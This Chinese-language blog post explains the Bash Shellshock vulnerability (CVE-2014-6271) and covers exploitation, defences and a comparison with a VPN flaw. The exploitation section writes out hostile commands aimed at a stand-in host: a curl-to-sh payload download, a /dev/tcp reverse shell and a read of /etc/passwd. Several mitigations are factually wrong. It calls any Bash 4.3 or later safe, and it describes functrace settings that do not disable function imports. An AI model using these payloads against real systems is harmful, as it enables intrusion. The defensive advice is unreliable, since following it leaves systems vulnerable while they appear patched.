CVE-2014-6271(bash破壳漏洞 )

发布于:2025-08-17 ⋅ 阅读:(16) ⋅ 点赞:(0)

漏洞原理

       CVE-2014-6271是GNU Bash shell的远程代码执行漏洞,因Bash在解析环境变量时错误处理函数定义,导致攻击者可注入恶意命令。具体表现为:

       环境变量函数定义:Bash允许通过环境变量定义函数(如VAR() { ... };)。

       未封闭的函数定义:若函数定义后未正确闭合(如遗漏;}),Bash会继续解析后续内容,并将其视为命令执行。

       触发场景:当Bash作为子进程被调用(如CGI脚本、DHCP客户端、SSH等)时,攻击者可通过环境变量注入恶意代码。

示例漏洞环境变量

VAR='() { :;}; echo "Pwned!"'  # 定义函数VAR,并在函数外注入echo命令

     当Bash解析此变量时,会执行echo "Pwned!",导致命令注入。

利用方式

  1. 构造恶意环境变量:在HTTP请求头、SSH连接或DHCP请求中注入包含恶意函数的变量。
  2. 触发Bash解析:通过CGI脚本、SSH服务器或DHCP客户端调用Bash,解析恶意环境变量。
  3. 执行任意命令:恶意函数定义后的代码被Bash执行,例如:
    • 下载并运行木马(如curl http://attacker.com/malware | sh);
    • 创建反向Shell(如bash -i >& /dev/tcp/attacker.com/4444 0>&1);
    • 窃取敏感数据(如cat /etc/passwd > /tmp/pass)。

典型利用场景

Web服务器CGI漏洞:攻击者发送包含恶意User-Agent头的HTTP请求,触发Bash处理CGI脚本时的命令执行。

SSH公钥授权:通过~/.ssh/authorized_keys文件注入环境变量,当用户使用SSH登录时触发漏洞。

防御措施

  1. 升级Bash至安全版本
    • 官方已发布修复版本(Bash 4.3及以上)。用户需通过包管理器(如apt-get upgrade bash)或手动编译更新。
    • 验证版本:运行bash --version,确保输出包含4.3或更高版本。
  2. 限制Bash使用场景
    • 避免在CGI脚本中使用Bash:改用更安全的Shell(如dash)或编程语言(如Python、Perl)。
    • 禁用环境变量函数定义:在Bash启动时添加set -o functraceexport BASH_FUNC_TRACE=1(需测试兼容性)。
  3. 环境变量过滤
    • 清除危险变量:在调用Bash的脚本前,执行unset VAR清除可能被攻击的变量(如HTTP_USER_AGENT)。
    • 使用安全函数:在Shell脚本中避免动态解析环境变量,改用显式参数传递(如$1而非$VAR)。
  4. 网络层防护
    • 防火墙阻断异常请求:限制外部对CGI脚本(如/cgi-bin/目录)的访问,或通过WAF(Web应用防火墙)过滤包含(){的HTTP头。
    • 入侵检测系统(IDS):部署规则检测异常Bash命令(如curl|sh、反向Shell特征)。
  5. 系统加固
    • 最小权限原则:确保Web服务器、SSH服务等以非root用户运行,限制漏洞利用后的权限提升。
    • 审计日志:监控/var/log/auth.log/var/log/nginx/access.log等日志,检测异常命令执行。

与VPN漏洞的对比

维度 CVE-2014-6271(Bash) VPN漏洞(如CVE-2019-11510)
攻击载体 环境变量注入(文件/网络) 网络请求路径遍历(服务端漏洞)
利用场景 CGI脚本、SSH、DHCP等 VPN设备Web服务直接暴露公网
影响范围 依赖Bash使用的场景(广泛) 特定VPN设备(定向攻击)
防御核心 升级Bash+环境变量过滤 系统升级+输入验证

 结语

把行动交给现在

把结果交给时间

!!!


网站公告

今日签到

点亮在社区的每一天
去签到